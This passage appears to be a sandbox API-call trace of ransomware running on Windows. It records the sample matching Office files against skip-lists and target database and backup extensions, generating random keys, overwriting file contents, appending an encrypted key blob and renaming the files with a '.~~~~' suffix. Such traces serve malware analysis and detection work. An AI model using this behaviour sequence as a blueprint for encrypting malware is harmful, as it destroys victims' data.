	[0137.639] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.639] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.639] CloseHandle (hObject=0x114) returned 1
	[0137.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c64b0
	[0137.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.~~~~")) returned 1
	[0137.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c64b0 | out: hHeap=0x300000) returned 1
	[0137.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.784] GetLastError () returned 0x0
	[0137.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0137.784] lstrlenW (lpString=".cmd") returned 4
	[0137.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0137.784] lstrlenW (lpString=".dll") returned 4
	[0137.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0137.784] lstrlenW (lpString=".bat") returned 4
	[0137.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0137.784] lstrlenW (lpString=".cpl") returned 4
	[0137.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0137.785] lstrlenW (lpString=".sys") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0137.785] lstrlenW (lpString=".msc") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0137.785] lstrlenW (lpString=".com") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0137.785] lstrlenW (lpString=".lnk") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0137.785] lstrlenW (lpString=".msp") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0137.785] lstrlenW (lpString=".pif") returned 4
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0137.785] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.787] lstrlenW (lpString=".sqb") returned 4
	[0137.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0137.787] lstrlenW (lpString=".ost") returned 4
	[0137.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0137.787] lstrlenW (lpString=".txt") returned 4
	[0137.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0137.788] lstrlenW (lpString=".mdt") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0137.788] lstrlenW (lpString=".BDB") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0137.788] lstrlenW (lpString=".eql") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0137.788] lstrlenW (lpString=".DBF") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0137.788] lstrlenW (lpString=".EQL") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0137.788] lstrlenW (lpString=".FDB") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0137.788] lstrlenW (lpString=".EDB") returned 4
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0137.788] lstrlenW (lpString=".DACPAC") returned 7
	[0137.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0137.788] lstrlenW (lpString=".VHD") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0137.789] lstrlenW (lpString=".DBV") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0137.789] lstrlenW (lpString=".dacpac") returned 7
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0137.789] lstrlenW (lpString=".sdf") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0137.789] lstrlenW (lpString=".accdb") returned 6
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0137.789] lstrlenW (lpString=".DBX") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0137.789] lstrlenW (lpString=".MDT") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0137.789] lstrlenW (lpString=".SQB") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0137.789] lstrlenW (lpString=".vhd") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0137.789] lstrlenW (lpString=".bac") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0137.789] lstrlenW (lpString=".mdf") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0137.789] lstrlenW (lpString=".BAK") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0137.789] lstrlenW (lpString=".BAC") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0137.789] lstrlenW (lpString=".dbs") returned 4
	[0137.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0137.790] lstrlenW (lpString=".vhdx") returned 5
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0137.790] lstrlenW (lpString=".NDF") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0137.790] lstrlenW (lpString=".dat") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0137.790] lstrlenW (lpString=".DBS") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0137.790] lstrlenW (lpString=".CKP") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0137.790] lstrlenW (lpString=".edb") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0137.790] lstrlenW (lpString=".PST") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0137.790] lstrlenW (lpString=".dbf") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0137.790] lstrlenW (lpString=".SQL") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0137.790] lstrlenW (lpString=".pst") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0137.790] lstrlenW (lpString=".dbv") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0137.790] lstrlenW (lpString=".SDF") returned 4
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0137.790] lstrlenW (lpString=".dtxs") returned 5
	[0137.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0137.790] lstrlenW (lpString=".db3") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0137.791] lstrlenW (lpString=".OST") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0137.791] lstrlenW (lpString=".dbx") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0137.791] lstrlenW (lpString=".DB3") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0137.791] lstrlenW (lpString=".DAT") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0137.791] lstrlenW (lpString=".VHDX") returned 5
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0137.791] lstrlenW (lpString=".ndf") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0137.791] lstrlenW (lpString=".DB") returned 3
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0137.791] lstrlenW (lpString=".sql") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0137.791] lstrlenW (lpString=".MYD") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0137.791] lstrlenW (lpString=".DBT") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0137.791] lstrlenW (lpString=".ACCDB") returned 6
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0137.791] lstrlenW (lpString=".fdb") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0137.791] lstrlenW (lpString=".bak") returned 4
	[0137.791] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0137.792] lstrlenW (lpString=".myd") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0137.792] lstrlenW (lpString=".DTXS") returned 5
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0137.792] lstrlenW (lpString=".ckp") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0137.792] lstrlenW (lpString=".dbt") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0137.792] lstrlenW (lpString=".db") returned 3
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0137.792] lstrlenW (lpString=".TXT") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0137.792] lstrlenW (lpString=".MDF") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0137.792] lstrlenW (lpString=".bdb") returned 4
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0137.792] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.792] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.792] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.793] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.793] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.794] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25778395512) returned 1
	[0137.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb9331d0, dwHighDateTime=0x1d60e1e)) 
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28258d0
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28258d0 | out: hHeap=0x300000) returned 1
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce428
	[0137.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0137.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce428 | out: hHeap=0x300000) returned 1
	[0137.795] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.795] GetLastError () returned 0x0
	[0137.795] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.795] GetLastError () returned 0x0
	[0137.799] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.799] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.800] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.800] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.802] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.802] CloseHandle (hObject=0xc4) returned 1
	[0137.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce428
	[0137.803] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.~~~~")) returned 1
	[0137.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce428 | out: hHeap=0x300000) returned 1
	[0137.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.806] GetLastError () returned 0x0
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".scr") returned 0x0
	[0137.806] lstrlenW (lpString=".cmd") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".cmd") returned 0x0
	[0137.806] lstrlenW (lpString=".dll") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dll") returned 0x0
	[0137.806] lstrlenW (lpString=".bat") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".bat") returned 0x0
	[0137.806] lstrlenW (lpString=".cpl") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".cpl") returned 0x0
	[0137.806] lstrlenW (lpString=".sys") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".sys") returned 0x0
	[0137.806] lstrlenW (lpString=".msc") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".msc") returned 0x0
	[0137.806] lstrlenW (lpString=".com") returned 4
	[0137.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".com") returned 0x0
	[0137.807] lstrlenW (lpString=".lnk") returned 4
	[0137.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".lnk") returned 0x0
	[0137.807] lstrlenW (lpString=".msp") returned 4
	[0137.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".msp") returned 0x0
	[0137.807] lstrlenW (lpString=".pif") returned 4
	[0137.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".pif") returned 0x0
	[0137.807] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch="msp\r\n.pif") returned 0x0
	[0137.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.809] lstrlenW (lpString=".sqb") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".sqb") returned 0x0
	[0137.809] lstrlenW (lpString=".ost") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".ost") returned 0x0
	[0137.809] lstrlenW (lpString=".txt") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".txt") returned 0x0
	[0137.809] lstrlenW (lpString=".mdt") returned 4
